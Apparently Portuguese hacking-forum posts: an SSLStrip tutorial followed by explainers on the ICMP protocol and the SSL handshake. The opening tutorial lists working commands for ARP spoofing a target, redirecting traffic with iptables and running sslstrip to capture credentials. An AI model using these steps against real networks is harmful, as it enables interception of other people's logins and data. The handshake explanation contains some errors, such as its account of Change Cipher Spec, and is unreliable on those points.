Getting SSL Traffic

A partir da Aparição de um SSLStrip (nao me lembro quem fez) muitos sequelas firam na paranoia , que tem um fundamento pelo poder dessa simplória porem muito interessante tool , que captura Seu Trafego SSL tranquilamente. 


Resumidamente, os passos seriam:

Configurar o IP Forwarding:

CÓDIGO:


# echo 1 > /proc/sys/net/ipv4/ip_forward

Realizar um ataque ARP MITM entre as 2 máquinas:

CÓDIGO:


# arpspoof -i eth0 -t HOST_ALVO

Redirecionar o tráfego com iptables:

CÓDIGO:


# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080

Iniciar o SSLStrip, definindo um arquivo onde armazenará os dados capturados:

CÓDIGO:


# python sslstrip.py -w arquivo

Quem quiser dar uma olhada no video : 

http://www.youtube.com/watch?v=TJHcfs4inhs

também tem o site do SSLStrip :

http://www.thoughtcrime.org/software/sslstrip/


O que é SSL ?

http://nemesiz.forum.st/redes-cabeadas-f16/ssl-handshake-t250.htm

E MITM ? 

http://nemesiz.forum.st/hacking-geral-f4/man-in-the-middle-na-pratica-t229.htm

[]'s ;

Protocolo ICMP

Protocolo ICMP
ICMP é sigla para Internet Control Message Protocol,é um protocolo integrante do protocolo IP,é utilizado para fornecer erros à fonte original,ou seja com o ICMP, os hosts e roteadores que usam a comunicação IP podem relatar erros e trocar informações de status e controle limitado,este protocolo não se destina a aplicações de utilizadores sendo usado somente para controlo de erro. Um exemplo de uso deste protocolo,num sistema Unix fazemos telnet à máquina A e recebemos a mensagem de erro – host unreachable, esta é uma mensagem ICMP a dizer que que a máquina A não está disponivel.

O ICMP é similar ao UDP pois utiliza mensagens que cabem num só datagrama, sendo no entanto ainda mais simples uma vez que não possui a indicação no seu cabeçalho dos portos de origem. As mensagens ICMP são interpretadas pelo software de rede pelo que não é necessário indicar os portos, o ICMP pode ainda ser usado para se obter informações acerca da rede. Depende dos Protocolos das camadas superiores para garantir a confiabilidade. Geralmente, as mensagens ICMP são enviadas automaticamente em uma das seguintes situações:

• Um datagrama IP não consegue chegar ao seu destino.
• Um roteador IP (gateway) não consegue encaminhar datagramas na atual taxa de transmissão.
• Um roteador IP redireciona o host remetente para usar uma rota melhor para o destino.

No campo de dados do pacote IP é inserido mais um camp ode controle ,o chamado ICMP Type field,que identifica o tipo de mensagem que o ICMP vai transportar,esses codigos são definidos no RFC1700.
Mensagens ICMP
ICMP As mensagens ICMP são enviados utilizando a base cabeçalho IP. O primeiro octeto dos dados porção do datagrama ICMP é um
tipo de campo,o valor deste campo determina o formato dos dados restantes. Qualquer campo denominado “inutilizados” é reservado
para mais tarde extensões e deve ser zero quando enviada, mas não deve usar receptores destes campos(exceto para incluí-los no checksum).
Salvo observou no âmbito do indivíduo formato descrições,os valores do cabeçalho domínios Internet são as seguintes:

Version:4
IHL:32 bits
Type of Service:Tamanho do IHL e informações em octetos
Identification,Flags,Fragment offset:usado na fragmentação
Time to live:Tempo de vida em segundos, como esse campo é diminuído em
cada máquina em que o datagrama é processado, o valor neste campo
deve ser pelo menos tão grande como o número de maquinas que
este datagrama irá percorrer.
Protocol:ICMP=1
Header Checksum:Os 16 bits de um complemento de um complemento da soma de
todas as palavras de 16 bits do cabeçalho.Para calcular o checksum,
o checksum campo deve ser zero.Este checksum poderão ser
substituídos no futuro.

ICMP type field.
Alguns dos tipos de mensagens precisam de parâmetros para funcionar,outros,desenvolvem valores que informam o estado dos testes realizados. O campo em que esses valores são guardados,logo após o Service Type,é chamado de code Byte.
Echo Request e Echo Reply [RFC792]

• Utilizada pelo comando ping
• É utilizada principalmente para fins de testes de conectividade (endereçamento e roteamento) entre as duas máquinas.

Destination Unreacheable [RFC792]

• Notifica impossibilidade de entrega do datagrama
• Código identifica motivo da impossibilidade de alcançar o destino

• Network Unreachable – Rede destino inacessível
• Host Unreachable (ou falha no roteamento para subnet) – Máquina destino inacessível
• Protocol Unreachable – Protocolo destino desativado ou aplicação inexistente
• Port Unreachable – Porta destino sem aplicação associada.

• Fragmentation Needed and DNF set – Fragmentação necessária mas bit DNF setado.
• Utilizado como forma de um host descobrir o menor MTU nas redes que serão percorridas entre a origem e o destino (ICMP MTU Discovery Protocol).
• Source Route Failed – Roteamento por rota especificada em opção IP, falhou.

• Destination Network Unknown
• Destination Host Unknown
• Source Host Isolated
• Communication with destination network administratively prohibited
• Communication with destination host administratively prohibited
• Network unreacheable for type of service
• Host unreacheable for type of service

Source Quench [RFC792]

• Utilizada por um roteador para informar ao host origem, o descarte do pacote devido a incapacidade de roteá-lo por causa do tráfego.
• Hosts geradores de pacotes reduzem a taxa de envio.

Redirect [RFC792]
Utilizada por roteadores para informar ao host origem de uma mensagem que existe uma rota direta mais adequada através de outro roteador, para envio dos próximos datagramas.

CODE:

0:Redirect datagrams for the Net (Obsoleto)

1:Redirect datagrams for the Host

2:Redirect datagrams for the Type of Service and  Net

3:Redirect datagrams for the Type of Service and  Host

TTL Expired [RFC1393/RFC792]
Mensagem ICMP originada em um roteador que informa ao host de origem que foi obrigado a descartar o pacote, uma vez que o TTL chegou a zero, ou pelo Host destino para informar término do tempo para REMONTAGEM.
Traceroute
Codigos usados:

• Code (0) : Temporizador do Tempo de Vida.

• Code (1) : Tempo de Remontagem de Fragmentos  Excedido.

ICMP Router Solicitation/Advertisement[RFC1256]
Foi projetada para permitir que um roteador possa divulgar sua existência para as máquinas presentes na rede.

• • Evitar a configuração manual das estações da rede com a rota default
  • Permitir que uma estação conheça outros roteadores além do default (roteamento no caso de falha do principal ).
Objetivo:

• A mensagem é composta de duas formas:
  • a solicitação de divulgação de um roteador
  • o anúncio de um roteador.
• Configuração do roteador:
  • envio automático das mensagens de anúncio
  • comandado por uma mensagem de solicitação.

ICMP Router Solicitation[rfc1256]

• A mensagem ICMP Router Solicitation é mostrada abaixo :
• Contém a divulgação de diversos roteadores iniciada a partir de um que seja configurado para divulgá-los
• O número de preferência é a ordem de preferência que estes roteadores podem ser utilizados pelas estações.

Parameter Problem Datagram[RFC792]

• Quando um Router ou um host encontra problema com o datagrama que não esteja coberto pelas mensagens de erro ICMP, ele envia uma mensagem de problema de parâmetro ao transmissor.

Utilização de um campo PONTEIRO para identificar o octeto do datagrama que originou o problema.
Timestamp Request/Reply[RFC792

• Cada máquina mantém sua própria noção de tempo presente (operação independente).
• Problema: diferenças entre relógios podem confundir usuários em sistemas distribuídos.
• Os hosts utilizam os 3 campos de indicação de horas para:
  • Calcular as estimativas do tempo decorrido entre elas
  • Sincronizar os relógios

ORIGINAR TIMBRE DE HORA:Preenchido antes da transmissão pelo originador.
RECEBER TIMBRE DE HORA:Preenchido após o recebimento da solicitação.
TRANSMITIR TIMBRE DE HORA:Preenchido antes do envio da resposta.
Adress Mark Request/Reply[RFC950]

• Para conhecer a máscara de sub-rede utilizada pela rede central, a máquina pode enviar uma mensagem de solicitação de máscara de endereço a um roteador e receber uma resposta de máscara de endereço.
• A transmissão da solicitação pode ser:
  • Direta: se souber o endereço do roteador.
  • Broadcast: se não souber.

Information Request/Reply[RFC792]

• Permite que os hosts descubram seus endereços na interligação em redes quando da inicialização do sistema.
• Considerado obsoleto hoje em dia.
• Substituído pelo BOOTP , RARP e DHCP

Referências:
http://paginas.fe.up.pt/~goii2000/M3/tcpip6.htm
http://www.ietf.org/rfc/rfc792.txt
http://www.ietf.org/rfc/rfc950.txt
http://www.ietf.org/rfc/rfc1256.txt
http://pt.wikipedia.org/wiki/ICMP
http://technet.microsoft.com/pt-br/library/cc758065.aspx
redes.cefetrn.br/~alex_santos/alfredo/TCP-IP%20-%20Alfredo/Aula%2008%20-%20Protocolo%20ICMP.ppt

Fonte

SSL & Handshake

Hoje irei falar sobre SSL, mas precisamente sobre o Handshake no SSL, mas antes do foco principal, vamos saber o que é SSL e outro principios fundamentais!

SSL (Secure Socket Layer)
bom, o 'protocolo' SSL foi basicamente desenvolvido para encripitar, autenticar. se voce nao sabe o que isso faz, ou para que serve, vai saber agora.

Encriptação:Protege os dados contra um acesso nao autozizado, por meios de algoritimos criptográficos, antes da transmissão dos mesmos.

Autenticação:metodo usado para se verificar a 'identidade' do remetente, por exmplo: quando voce tenta se conectar a algum servidor da web numa conexão segura, é apresentado ao cliente no caso voce, uma serie de credenciais por meio um 'certificado' para a verificação da já mensionada 'identidade' do remetente.

E como o nome já diz.. 'Camada de socket seguro' o SSL age como sockets conectados por nosso famoso: TCP
entao podemos analisar um SSL como nada mais do que uma conexão parecida como o TCP só que 'seguras'.

SSL (Handshake)
Como ja disse podemos pensar que SSL é que nem o TCP mas 'seguro' entao existe sua conexão que é diferente do TCP, e que é o nosso foco vamos entao ao Handshake no SSL

Primeiro se tem uma serie de 'frescuras' rsrs..

é iniciado um acordo em que é definido a versão do protocolo, depois são selecionados os algaritimos de criptografia, e por ultimo, há a troca de chaves publicas.

Agora vamos ao Handshake de uma conexão SSL!

1º Cliente (Client Hello Message)------------------------->Servidor
2º Cliente<-------------------------(Server Hello Message)Servidor
3º Cliente<-------------------------(Certificate)Servidor
4º Cliente<-------------------------(Server Key Exchange Message)Servidor
5º Cliente-------------------------(Certificate)Servidor
6º Cliente(Certificate) ou (No Certificate Alert)------------------------->Servidor
7º Cliente(Client Key Exchange Message)------------------------->Servidor
8º Cliente(Change Cipher Spec Message)------------------------->Servidor
9º Cliente(Finished Message)------------------------->Servidor
10º Cliente<-------------------------(Change Cipher Spec Message)Servidor
11º Cliente<-------------------------(Finished Message)Servidor

12º Handshake Completed!

Pronto moçada, com esse meu 'quadro' de uma conexão SSL voces podem ter um entendimento melhor, mas se voces nao entenderam ainda, nao se preucupem irei explica, cada passo da conexão detalhadamente!

1º passo: O Cliente envia uma solicitação de conexão (Mensagem de Óla do Cliente)
2º passo: O Servidor se aceitou a conexão envia um "Mensagem de Olá do servidor" mostrando que aceitou a conexão
3ºpasso: O Servidor envia o seu 'Certificado'
4º passo: O Servidor envia sua Chave (mensagem de troca de chave)
5º passo: O Servidor pede o certificado do Cliente
6ºpasso: O Cliente envia o seu Certificado ou se nao tiver, envia um aviso que nao tem um sertificado (Alerta de não certificado)
7º passo: O Cliente envia sua chave (mensagem de troca de chave)
8º passo: O Cliente envia a "Change Cipher Spec Message" que serve para detectar qualquer alteração nos dados entre o tempo que ela foi enviada e o tempo que foi recebido durante a conexão SSL
9º passo: O Cliente envia uma mensagem dizendo que já acabou o "rala e róla"rsrs.. (mensagem de termino)
10º passo: O Servidor en via a "Change Cipher Spec Message" que já foi explicada! portanto leia tudo seu espertinho!
11º passo: O Servidor envia uma mensagem dizendo que já acabou toda a conexão (mensagem de termino)

12º Conclusão do Handshake, em que é completado o processo!

BEm, é issso ae, galera, tentei ser o mais breve e objetivo possivel, até a proxima..

Writen By: f0nt_Drk
[s]